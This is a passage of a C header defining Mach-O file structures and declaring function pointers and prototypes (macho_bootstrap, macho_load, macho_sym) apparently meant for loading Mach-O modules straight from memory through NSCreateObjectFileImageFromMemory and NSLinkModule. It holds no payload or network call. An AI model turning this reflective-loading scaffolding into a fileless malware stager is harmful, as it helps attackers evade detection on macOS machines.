LC_SEGMENT 0x1 37 | #define LC_SEGMENT_64 0x19 38 | #define LC_ID_DYLIB 0xd 39 | #define LC_SYMTAB 0x2 /* link-edit stab symbol table info */ 40 | 41 | #define MH_MAGIC 0xfeedface /* the mach magic number */ 42 | #define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */ 43 | #define MH_MAGIC_64 0xfeedfacf /* the 64-bit mach magic number */ 44 | #define MH_CIGAM_64 0xcffaedfe /* NXSwapInt(MH_MAGIC_64) */ 45 | 46 | #define MH_DYLIB 0x6 47 | #define DEBUG 48 | 49 | typedef enum 50 | { 51 | NSObjectFileImageFailure, 52 | NSObjectFileImageSuccess, 53 | NSObjectFileImageInappropriateFile, 54 | NSObjectFileImageArch, 55 | NSObjectFileImageFormat, 56 | NSObjectFileImageAccess 57 | } NSObjectFileImageReturnCode; 58 | 59 | union lc_str 60 | { 61 | uint32_t offset; /* offset to the string */ 62 | #ifndef __LP64__ 63 | char *ptr; /* pointer to the string */ 64 | #endif 65 | }; 66 | 67 | struct dylib 68 | { 69 | union lc_str name; /* library's path name */ 70 | uint32_t timestamp; /* library's build time stamp */ 71 | uint32_t current_version; /* library's current version number */ 72 | uint32_t compatibility_version; /* library's compatibility vers number*/ 73 | }; 74 | 75 | typedef struct 76 | { 77 | uint32_t cmd; /* type of load command */ 78 | uint32_t cmdsize; /* total size of command in bytes */ 79 | } load_command_t; 80 | 81 | typedef struct 82 | { 83 | uint32_t cmd; /* LC_SYMTAB */ 84 | uint32_t cmdsize; /* sizeof(struct symtab_command) */ 85 | uint32_t symoff; /* symbol table offset */ 86 | uint32_t nsyms; /* number of symbol table entries */ 87 | uint32_t stroff; /* string table offset */ 88 | uint32_t strsize; /* string table size in bytes */ 89 | } symtab_command_t; 90 | 91 | typedef struct 92 | { 93 | uint32_t cmd; /* LC_ID_DYLIB, LC_LOAD_{,WEAK_}DYLIB, LC_REEXPORT_DYLIB */ 94 | uint32_t cmdsize; /* includes pathname string */ 95 | struct dylib dylib; /* the library identification */ 96 | } dylib_command_t; 97 | 98 | typedef struct 99 | { 100 | uint32_t magic; /* mach magic number identifier */ 101 | uint32_t cputype; /* cpu specifier */ 102 | uint32_t cpusubtype; /* machine specifier */ 103 | uint32_t filetype; /* type of file */ 104 | uint32_t ncmds; /* number of load commands */ 105 | uint32_t sizeofcmds; /* the size of all the load commands */ 106 | uint32_t flags; /* flags */ 107 | } mach_header_32_t; 108 | 109 | typedef struct 110 | { 111 | uint32_t magic; /* mach magic number identifier */ 112 | uint32_t cputype; /* cpu specifier */ 113 | uint32_t cpusubtype; /* machine specifier */ 114 | uint32_t filetype; /* type of file */ 115 | uint32_t ncmds; /* number of load commands */ 116 | uint32_t sizeofcmds; /* the size of all the load commands */ 117 | uint32_t flags; /* flags */ 118 | uint32_t reserved; /* reserved */ 119 | } mach_header_64_t; 120 | 121 | typedef struct 122 | { /* for 32-bit architectures */ 123 | uint32_t cmd; /* LC_SEGMENT */ 124 | uint32_t cmdsize; /* includes sizeof section structs */ 125 | char segname[16]; /* segment name */ 126 | uint32_t vmaddr; /* memory address of this segment */ 127 | uint32_t vmsize; /* memory size of this segment */ 128 | uint32_t fileoff; /* file offset of this segment */ 129 | uint32_t filesize; /* amount to map from the file */ 130 | uint32_t maxprot; /* maximum VM protection */ 131 | uint32_t initprot; /* initial VM protection */ 132 | uint32_t nsects; /* number of sections in segment */ 133 | uint32_t flags; /* flags */ 134 | } segment_command_32_t; 135 | 136 | typedef struct 137 | { /* for 64-bit architectures */ 138 | uint32_t cmd; /* LC_SEGMENT_64 */ 139 | uint32_t cmdsize; /* includes sizeof section_64 structs */ 140 | char segname[16]; /* segment name */ 141 | uint64_t vmaddr; /* memory address of this segment */ 142 | uint64_t vmsize; /* memory size of this segment */ 143 | uint64_t fileoff; /* file offset of this segment */ 144 | uint64_t filesize; /* amount to map from the file */ 145 | uint32_t maxprot; /* maximum VM protection */ 146 | uint32_t initprot; /* initial VM protection */ 147 | uint32_t nsects; /* number of sections in segment */ 148 | uint32_t flags; /* flags */ 149 | } segment_command_64_t; 150 | 151 | typedef struct 152 | { /* for 32-bit architectures */ 153 | char sectname[16]; /* name of this section */ 154 | char segname[16]; /* segment this section goes in */ 155 | uint32_t addr; /* memory address of this section */ 156 | uint32_t size; /* size in bytes of this section */ 157 | uint32_t offset; /* file offset of this section */ 158 | uint32_t align; /* section alignment (power of 2) */ 159 | uint32_t reloff; /* file offset of relocation entries */ 160 | uint32_t nreloc; /* number of relocation entries */ 161 | uint32_t flags; /* flags (section type and attributes)*/ 162 | uint32_t reserved1; /* reserved (for offset or index) */ 163 | uint32_t reserved2; /* reserved (for count or sizeof) */ 164 | } section_32_t; 165 | 166 | typedef struct 167 | { /* for 64-bit architectures */ 168 | char sectname[16]; /* name of this section */ 169 | char segname[16]; /* segment this section goes in */ 170 | uint64_t addr; /* memory address of this section */ 171 | uint64_t size; /* size in bytes of this section */ 172 | uint32_t offset; /* file offset of this section */ 173 | uint32_t align; /* section alignment (power of 2) */ 174 | uint32_t reloff; /* file offset of relocation entries */ 175 | uint32_t nreloc; /* number of relocation entries */ 176 | uint32_t flags; /* flags (section type and attributes)*/ 177 | uint32_t reserved1; /* reserved (for offset or index) */ 178 | uint32_t reserved2; /* reserved (for count or sizeof) */ 179 | uint32_t reserved3; /* reserved */ 180 | } section_64_t; 181 | 182 | typedef struct 183 | { 184 | union 185 | { 186 | #ifndef __LP64__ 187 | char *n_name; /* for use when in-core */ 188 | #endif 189 | uint32_t n_strx; /* index into the string table */ 190 | } n_un; 191 | uint8_t n_type; /* type flag, see below */ 192 | uint8_t n_sect; /* section number or NO_SECT */ 193 | int16_t n_desc; /* see */ 194 | uint32_t n_value; /* value of this symbol (or stab offset) */ 195 | } nlist_32_t; 196 | 197 | typedef struct 198 | { 199 | union 200 | { 201 | uint32_t n_strx; /* index into the string table */ 202 | } n_un; 203 | uint8_t n_type; /* type flag, see below */ 204 | uint8_t n_sect; /* section number or NO_SECT */ 205 | uint16_t n_desc; /* see */ 206 | uint64_t n_value; /* value of this symbol (or stab offset) */ 207 | } nlist_64_t; 208 | 209 | #if defined(BITS_32) 210 | #define CPU_TYPE CPU_TYPE_X86 211 | typedef mach_header_32_t mach_header_t; 212 | typedef segment_command_32_t segment_command_t; 213 | typedef section_32_t section_t; 214 | typedef nlist_32_t nlist_t; 215 | #define MACHO_MAGIC MH_MAGIC 216 | #elif defined(BITS_64) 217 | #define CPU_TYPE CPU_TYPE_X86_64 218 | typedef mach_header_64_t mach_header_t; 219 | typedef segment_command_64_t segment_command_t; 220 | typedef section_64_t section_t; 221 | typedef nlist_64_t nlist_t; 222 | #define MACHO_MAGIC MH_MAGIC_64 223 | #else 224 | #error("Are you a wizard?") 225 | #endif 226 | 227 | typedef int (*ptr_NSCreateObjectFileImageFromMemory)(void *address, int size, void *objectFileImage); 228 | typedef void *(*ptr_NSLinkModule)(void *objectFileImage, char *moduleName, uint32_t options); 229 | typedef void *(*ptr_NSLookupSymbolInModule)(void *module, char *symbolName); 230 | typedef void *(*ptr_NSAddressOfSymbol)(void *symbol); 231 | 232 | typedef struct 233 | { 234 | ptr_NSCreateObjectFileImageFromMemory NSCreateObjectFileImageFromMemory; 235 | ptr_NSLinkModule NSLinkModule; 236 | ptr_NSLookupSymbolInModule NSLookupSymbolInModule; 237 | ptr_NSAddressOfSymbol NSAddressOfSymbol; 238 | } func_t; 239 | 240 | int macho_bootstrap(func_t *funcs); 241 | ; 242 | void *macho_load(func_t *funcs, void *data, int size); 243 | void *macho_sym(func_t *funcs, void *module, char *name); 244 | 245 | extern void print(char *str); 246 | int string_len(const char *s1); 247 | #endif // _MACHO_H_ 248 | --------------------------------------------------------------------------------